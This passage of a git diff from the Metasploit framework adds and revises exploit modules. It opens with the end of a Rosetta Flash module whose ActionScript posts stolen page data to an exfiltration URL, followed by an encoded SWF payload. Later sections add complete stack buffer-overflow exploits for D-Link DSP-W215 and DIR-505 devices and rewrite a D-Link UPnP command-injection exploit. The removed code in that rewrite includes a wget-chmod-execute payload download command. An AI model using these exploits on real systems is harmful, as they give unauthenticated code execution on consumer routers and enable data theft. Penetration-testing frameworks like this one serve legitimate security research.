(_root.exfiltrate) { + # var w:LoadVars = new LoadVars(); + # w.x = url+"\n"+src; + # w.sendAndLoad(_root.exfiltrate, w, "POST"); + # } + # } + # r.load(url, r, "GET"); + # } + # + # function X(mc) { + # if (_root.url) { + # var urls:Array = _root.url.split(","); + # for (var i in urls) { + # getURL(urls[i]); + # } + # } + # } + # + # // entry point + # static function main(mc) { + # app = new X(mc); + # } + # } + # + # + # Compiling the .as using mtasc and swftool: + # + # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as + # $ swfcombine -d out.swf -o out-uncompressed.swf + # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf + # + def encoded_swf + "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \ + "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \ + "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \ + "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \ + "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \ + "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \ + "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \ + "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \ + "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \ + "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \ + "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \ + "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \ + "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \ + "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \ + "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \ + "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \ + "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \ + "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \ + "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \ + "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \ + "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \ + "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \ + "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \ + "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \ + "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \ + "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \ + "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \ + "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9" + end + + def crossdomain_xml + %Q| + + + + + | + end + + def rhost + URI.parse(datastore["JSONP_URL"]).host + end + +end diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb index 42e385249c..b310e76a0c 100644 --- a/modules/auxiliary/scanner/http/http_header.rb +++ b/modules/auxiliary/scanner/http/http_header.rb @@ -76,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary header_string = "#{h[0]}: #{h[1]}" print_status "#{peer}: #{header_string}" - report_note({ - :type => 'HTTP header', + report_note( + :type => "http.header.#{rport}.#{counter}", :data => header_string, :host => ip, :port => rport - }) + ) counter = counter + 1 end if counter == 0 diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 3d0f2d455a..f87f6d95c0 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -60,6 +60,14 @@ class Metasploit3 < Msf::Auxiliary result.each do |u| print_status("[#{target_host}] #{tpath} [#{u}]") + report_note( + :host => target_host, + :port => rport, + :proto => 'tcp', + :type => "http.scraper.#{rport}", + :data => u + ) + report_web_vuln( :host => target_host, :port => rport, diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index d37c266056..09e2f978f2 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary This module calls the target portmap service and enumerates all program entries and their running port numbers. }, - 'Author' => [''], + 'Author' => [''], 'References' => [ ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'], diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 062f59ee3d..ea30c0fec1 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -31,10 +31,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'tebo ', # Original + 'tebo ', # Original 'Ben Campbell', # Refactoring - 'Brandon McCann "zeknox" ', # admin check - 'Tom Sellers fadedcode.net>' # admin check/bug fix + 'Brandon McCann "zeknox" ', # admin check + 'Tom Sellers ' # admin check/bug fix ], 'References' => [ diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb index d4cb8f2a09..3d5a4f875a 100644 --- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ 'Steve Embling', # Discovery - 'Matt Byrne ' # Metasploit module + 'Matt Byrne ' # Metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 3437131fb3..094dbfc539 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'carstein ', + 'carstein ', 'jduck' ], 'References' => diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index 90a82a9127..29662565ae 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'pSnuffle Packet Sniffer', - 'Description' => 'This module sniffs passwords like dsniff did in the past', - 'Author' => 'Max Moser ', + 'Description' => 'This module sniffs passwords like dsniff did in the past', + 'Author' => 'Max Moser ', 'License' => MSF_LICENSE, 'Actions' => [ diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index b5647b87ca..f577ba023c 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'Julien Tinnes ', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSBE, diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index ebc26b0e66..08d60cf333 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => 'Julien Tinnes ', 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 3bca8f7e75..b15a47e1af 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'Julien Tinnes ', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSLE, diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index d397a9e70c..fab734bcd2 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => 'Julien Tinnes ', 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index 6e3e31ba10..c664c7231a 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Encoder This adds 3-bytes to the start of the payload to bump ESP by 32 bytes so that it's clear of the top of the payload. }, - 'Author' => 'OJ Reeves ', + 'Author' => 'OJ Reeves ', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Decoder' => { 'BlockSize' => 4 } diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index b8fa872f5c..db1b49a3fe 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Evgeny Legerov ', # original .pm version (VulnDisco) + 'Evgeny Legerov ', # original .pm version (VulnDisco) 'jduck' # Metasploit 3.x port ], 'References' => diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 718bc25350..ecf3e45d65 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 4928510332..55368e3c2a 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index a4bb691c6e..6781609aba 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb new file mode 100644 index 0000000000..e20e9deb2f --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link info.cgi POST Request Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link + devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component, + when handling specially crafted POST HTTP requests addresses to the /common/info.cgi + handler. This module has been successfully tested on D-Link DSP-W215 in an emulated + environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial PoC + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['OSVDB', '108249'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.02', + { + 'Offset' => 477472, + 'Ret' => 0x405cec # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 22 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/common/info.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28 + buf << cmd # Command to execute + buf << "\x00" # NULL terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/common/info.cgi", + 'encode_params' => false, + 'vars_post' => { + 'storage_path' => shellcode, + } + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb new file mode 100644 index 0000000000..7f924f2b56 --- /dev/null +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link HNAP Request Remote Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different + D-Link devices. The vulnerability is due to an stack based buffer overflow while + handling malicious HTTP POST requests addressed to the HNAP handler. This module + has been successfully tested on D-Link DIR-505 in an emulated environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['CVE', '2014-3936'], + ['BID', '67651'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029'] + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.0', + { + 'Offset' => 1000000, + 'Ret' => 0x405cac, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.06', + { + 'Offset' => 30000, + 'Ret' => 0x405234, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.07', + { + 'Offset' => 30000, + 'Ret' => 0x405c5c, # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 15 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/HNAP1/", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DIR-505/ && res.body =~ /1.07/ + @my_target = targets[3] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DIR-505/ && res.body =~ /1.06/ + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << rand_text_alpha_upper(4) # $s0, don't care + buf << rand_text_alpha_upper(4) # $s1, don't care + buf << rand_text_alpha_upper(4) # $s2, don't care + buf << rand_text_alpha_upper(4) # $s3, don't care + buf << rand_text_alpha_upper(4) # $s4, don't care + buf << [@my_target.ret].pack("N") # $ra + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Stack filler + buf << cmd # Command to execute + buf << "\x00" # NULL-terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/HNAP1/", + 'encode_params' => false, + 'data' => shellcode + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 27b6bc1e9e..ca3a22f56a 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -6,13 +6,10 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ['OSVDB', '94924'], + ['BID', '61005'], + ['EDB', '26664'], + ['URL', 'http://www.s3cur1ty.de/m1adv2013-020'] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, - 'Platform' => %w{ linux unix }, 'Payload' => { - 'DisableNops' => true, + 'DisableNops' => true }, - 'Targets' => + 'Targets' => [ - [ 'CMD', #all devices + [ 'MIPS Little Endian', { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE } ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS } ], ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + register_options( [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + Opt::RPORT(49152) # port of UPnP SOAP webinterface ], self.class) end + def check + begin + res = send_request_cgi({ + 'uri' => '/InternetGatewayDevice.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /DIR-/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) + print_status("#{peer} - Trying to access the device ...") - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 400 + ) end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end - - def exploit_mips - - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false - - # - # start our server - # - resource_uri = '/' + downfile - - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - datastore['SSL'] = true if ssl_restore - end - - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) - - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end - - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end - - register_file_for_cleanup("/tmp/#{filename}") - - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end - - def request(cmd, type) + def execute_command(cmd, opts) + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 uri = '/soap.cgi' + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + data_cmd = "" data_cmd << "" data_cmd << "" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end - + data_cmd << "" + data_cmd << "#{new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{new_internal_port}" + data_cmd << "" data_cmd << "" data_cmd << "" @@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'data' => data_cmd }) - return res + return res rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end - - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end - - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 0c5ba23950..51e104c6c2 100644 --- 